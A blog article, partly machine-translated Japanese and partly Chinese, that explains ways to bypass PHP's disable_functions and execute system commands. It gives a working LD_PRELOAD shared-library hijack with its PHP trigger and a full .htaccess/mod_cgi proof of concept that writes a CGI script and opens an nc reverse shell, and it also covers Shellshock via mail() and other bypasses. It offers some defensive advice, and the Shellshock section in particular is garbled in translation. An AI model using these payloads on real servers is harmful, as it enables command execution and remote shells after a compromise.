ホームページ  >  記事  >  バックエンド開発  >  PHP がバイパス無効化関数を通じてシステム コマンドを実行する方法

PHP がバイパス無効化関数を通じてシステム コマンドを実行する方法

不言
不言オリジナル
2018-05-02 09:43:171753ブラウズ

この記事では、主にバイパス無効化関数を使用して PHP でシステムコマンドを実行する方法の概要を紹介します。必要な友人に参考にしてください。 1. バイパス無効化する理由。機能

セキュリティ上の理由から、多くの運用および保守担当者は、eval、exec、system などの PHP の一部の「危険な」機能を無効にし、それらを php.ini 設定ファイルに書き込みます。特に仮想ホスト事業者では、顧客を同一サーバーから完全に隔離し、大規模なセキュリティ問題を回避するために、通常、無効化機能の設定が厳格に行われます。 攻撃と防御は相反するものであり、機能を無効にする手段があるため、この制限を突破するために最善を尽くす人もいます。そういった攻撃。

システム コマンドの実行は、通常、攻撃者が Web サイトの Web シェルを取得した後にさらなるアクションを実行するために必要な操作です。システム コマンドを実行できない場合、さらなる徹底した攻撃を継続することが困難になります。そのため、Web サイト管理者は同様の操作を無効にしています。 exec 、 system 、その他の関数などのアクション。しかし、テクノロジーの継続的な進歩により、これらの機能を無効にするだけでは攻撃者によるシステム コマンドの実行を防ぐことができない場合があります。では、攻撃者は無効化された機能を突破するためにどのような方法を使用するのでしょうか?このような攻撃からどのように保護すればよいでしょうか?

2. Bash の脆弱性による任意のコマンド実行

GNU Bash 環境変数のリモート コマンド実行の脆弱性 (CVE-2014-6271) は、GNU Bash のリモート コード実行の脆弱性です。この説明を見た: 「GNU Bash 4.3 以前のバージョンにはセキュリティ上の脆弱性があります。この脆弱性は、プログラムが環境変数値の関数定義を正しく処理しないことが原因で発生します。リモートの攻撃者はこの脆弱性を悪用し、特別に作成された環境変数。次の製品およびモジュールが悪用される可能性があります: OpenSSH sshd の ForceCommand 機能、Apache HTTP サーバーの mod_cgi および mod_cgid モジュール、DHCP クライアントなど。実際、PHP もこの脆弱性を利用してさまざまなことを行うことができ、80 でリモート コマンドが直接実行される可能性もあります。この脆弱性の詳細については、CVE-2014-6271 の関連情報を参照してください。ここでは繰り返しません。 bash のこの脆弱性が PHP のどこで利用されるかを見てみましょう?実際には、複数の場所で使用できます。ここではメール機能を例に挙げますが、他の場所でも同様に分析できます。

PHP のメール関数には 3 つの必須パラメーターと 2 つのオプションのパラメーターが用意されています。ここでは主に最後のパラメーターについて、公式 PHP マニュアルで説明しています。

「追加のパラメーターを渡すために使用できます。」たとえば、sendmail_pathconfiguration 設定を使用してメールを送信するときに使用するように構成されたプログラム。これは、sendmail を -f sendmail オプションで使用するときにエンベロープ送信者アドレスを設定するために使用できます。

Web サーバーを実行するユーザーを信頼できるユーザーとして追加する必要があります。 sendmail 設定は、エンベロープ送信者 (-f) がこのメソッドを使用して設定されている場合に、メッセージに「X-Warning」ヘッダーが追加されないようにします。sendmail ユーザーの場合、このファイルは /etc/mail/trusted-users です。このパラメータは、追加のコマンドを追加することで電子メールを送信する際の設定として使用できます。たとえば、-f パラメータを使用して電子メールの送信者を設定できます。詳細については、公式ドキュメントの例 #3 にも示されています。公式ドキュメントを参照してください: http://php.net/manual/zh/function.mail.php。

メール関数のソース コード mail.c には、次のコード スニペットが見つかります:


if (extra_cmd != NULL) {
       spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
    } else {
       sendmail_cmd = sendmail_path;
    }

5 番目のパラメーター (extra_cmd) が渡された場合、spprintf を使用して sendmail_path と extra_cmd を sendmail_cmd に結合します ( sendmail_path は php.ini の sendmail_path 構成項目です)、次に sendmail_cmd をスローして Popen を実行します。先ほど述べたように、-6271 脆弱性により、mail() 関数を使用して任意のコマンドを実行し、disable_functions の制限をバイパスすることが直接可能になります。しかし、実際にはここに問題があります。つまり、extra_cmd は spprintf の前にセキュリティ チェックを実行します。現在の PHP バージョンは最新の 7.2.4 で、コードの場所は mail.c の 371 ~ 375 行目にあります。

php_escape_shell_cmd この関数は特殊文字(`|*?~a8093152e673feb7aba1828c43532094^()[]{}$、x0A、xFF.'などを含む)をエスケープしてしまうので、どうすることもできないのでしょうか?いいえ、putenv 関数を使用してカスタム関数を含む環境変数を設定し、mail 関数を通じてそれをトリガーできます。インターネット上にはすでに POC があります。

popen 派生プロセスも呼び出す PHP 関数は imap_mail です。または、私たちが発見していない他の関数がある可能性があります。そのため、この種の攻撃を防ぎたい場合は、根本原因から始めて修正するのが最善の方法です。 CVE-2014-6271 この bash の脆弱性。

三、LD_PRELOAD:无需bash漏洞

上文说到mail函数利用bash破壳漏洞可以实现突破disable functions的限制执行系统命令,但是像这样的漏洞,一般安全意识稍好一点的运维人员,都会打上补丁了,那么是不是打上补丁之后就一定安全了呢?显然答案是否定的,LD_PRELOAD是Linux系统的下一个有趣的环境变量:

它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,我们只要知道这一件事就足够了,这说明什么?这说明我们几乎可以劫持PHP的大部分函数,还拿上文的mail函数作为例子,上文说过,php的mail函数实际上是调用了系统的sendmail命令,那么我们来看一下sendmail都调用了哪些库函数:

使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。

首先我们编写一个自己的动态链接程序,hack.c:

#include<stdlib.h>
#include <stdio.h>    
#include<string.h> 
void payload() {
    system("touch/var/www/html/test");
}  
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。

[[email protected]]# gcc -c -fPIC hack.c -o hack
[[email protected]]# gcc -shared hack -o hack.so

我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("[email protected]","","","","");
?>

我们的/var/www/html/目录下本来只有hack.so和index.php这两个文件,当我们在浏览器中访问index.php页面之后,可以看到目录下又多出了一个test文件,说明我们的系统命令执行成功。

(PS:笔者实际测试时的环境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的环境,测试时遇到一个问题,就是每次刷新访问index.php时,虚拟机的VM进程会疯狂的读写硬盘,几乎独占磁盘的所有活动时间(机械硬盘),导致虚拟机卡顿到连鼠标都无法移动,物理机也因此受到影响明显卡顿,约半小时左右这种情况会突然消失,最终测试结果成功。不知道是什么原因引起这种现象,需要进一步研究,但不在本文讨论范围之内。)

这种绕过行为实施起来很简单,并且目前为止还不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。

其实对于这个问题,早在2008年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: https://bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。

四、.htaccess:不止重定向

大家对.htaccess文件一定不陌生,没错,在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

关于mode_cgi,可以参考apache的官方说明:  http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime类型application/x-httpd-cgi或者被 cgi-script处理器(Apache 1.1或以后版本)处理的文件将被作为CGI脚本对待并由服务器运行, 它的输出将被返回给客户端。通过两种途径使文件成为CGI脚本,或者文件具有已由 AddType指令定义的扩展名,或者文件位于 ScriptAlias目录中。”,这就表示,apache允许WEB服务器与可执行文件进行交互,这就意味着,你可以用C或者python编写WEB应用,听起来我们好像可以做任何apache权限用户能做的事情了,那么到底如何实现呢?

首先需要满足几个条件,第一,必须是apache环境,第二,mod_cgi已经启用(在我的环境下是默认启用的),第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none,第四,必须有权限写.htaccess文件。其实这几个条件还是比较容易满足的,满足了以上的条件,就可以“搞事情”了。

在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章: http://www.365mini.com/page/apache-options-directive.htm ,当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本。除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddTypeapplication/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。

有了Options和AddHandler,我们就可以随便指定一个特定的文件扩展名以特定的程序来处理,这样思路就很清晰了:先把要执行的程序写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令允许使用mod_cgi模块执行CGI脚本,然后再让我们特定的扩展名以cgi-script进行处理,这样我们甚至可以反弹一个shell出来。

POC如下,附注释:

<?php
$cmd = "nc -c&#39;/bin/bash&#39; 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd"; 
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
  echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET[&#39;checked&#39;]))
{
  @file_put_contents(&#39;.htaccess&#39;,"\nSetEnv HTACCESS on", FILE_APPEND); 
  header(&#39;Location: &#39; . $_SERVER[&#39;PHP_SELF&#39;]. &#39;?checked=true&#39;); //执行环境的检查
}
else
{
  $modcgi = in_array(&#39;mod_cgi&#39;,apache_get_modules()); // 检测mod_cgi是否开启
  $writable = is_writable(&#39;.&#39;); //检测当前目录是否可写
  $htaccess = !empty($_SERVER[&#39;HTACCESS&#39;]);//检测是否启用了.htaccess
    checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
    checkEnabled("Iswritable",$writable,"Yes","No");
    checkEnabled("htaccessworking",$htaccess,"Yes","No");
  if(!($modcgi && $writable&& $htaccess))
  {
    echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
  }
  else
  {
 checkEnabled("Backing 
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in 
.htaccess.bak","Failed!"); //备份一下原有.htaccess
checkEnabled("Write 
.htaccessfile",file_put_contents(&#39;.htaccess&#39;,"Options 
+ExecCGI\nAddHandlercgi-script 
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
    checkEnabled("Write shellfile",file_put_contents(&#39;shell.dizzle&#39;,$shellfile),"Succeeded!","Failed!");//写入文件
    checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
    echo "Executing the script now.Check your listener <img src = &#39;shell.dizzle&#39; style =&#39;display:none;&#39;>"; //调用
  }
}
?>

我们在本地开nc监听4444端口,然后在浏览器中打开这个页面,如果执行成功,将会反弹一个shell到4444端口:

当访问POC的时候,成功反弹了一个shell到本地的4444端口,可以看到执行id命令后的回显。

五、其他方式

除上述方式外,在某些特定情况下,还有很多能够绕过php.ini的禁用函数达到执行系统命令目的的方法,但是由于这些方法受到的限制颇多,很少有满足条件的真实环境,所以鉴于篇幅原因,以下只粗略介绍几个其他绕过方式,并提供相关的详细介绍的文章链接,如果有兴趣详细了解,可以参考互联网上的相关资料。

ImageMagick

ImageMagick是一款使用量很广的图片处理程序,很多厂商包括Discuz、Drupal、Wordpress等常用CMS中也调用了ImageMagick扩展或ImageMagick库进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入,官方在6.9.3-9版本中对漏洞进行了不完全的修复。关于这个漏洞的具体利用和防御方式可以参考:

 http://wooyun.jozxing.cc/static/drops/papers-15589.html 。

pcntl_exec

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

COM 组件

Windows环境下,当php.ini的设置项com.allow_dcom =true时,可以通过COM组件执行系统命令,甚至开启安全模式也可以,相关资料参考: https://www.exploit-db.com/exploits/4553/ 。

win32std

win32std は非常に古い PHP 拡張機能で、win_shell_execute 関数を使用して Windows システム コマンドを実行できます: https://www.exploit-db.com/exploits/4218/。

6. まとめ

侵入者にとって、Webシェルを取得した後、さらに高い権限やより多くのデータや情報を取得したい場合は、システムコマンドを実行することがほぼ必要になります。 PHP アプリケーションに欠陥があり、侵入された場合、損失を最小限に抑える方法が主な問題になります。この記事に記載されている方法から、これらの原則をマスターしていれば、セキュリティの傾向に頻繁に注意を払う限り、予防作業は非常に簡単かつ効果的であることがわかります。対策。

関連する推奨事項:

PHP はログインをシミュレートし、CURL を介してデータを取得します

php は json を介してフロントエンドとバックエンドのデータ値の転送を実現します

以上がPHP がバイパス無効化関数を通じてシステム コマンドを実行する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
前の記事:PHPメールで送信次の記事:PHPメールで送信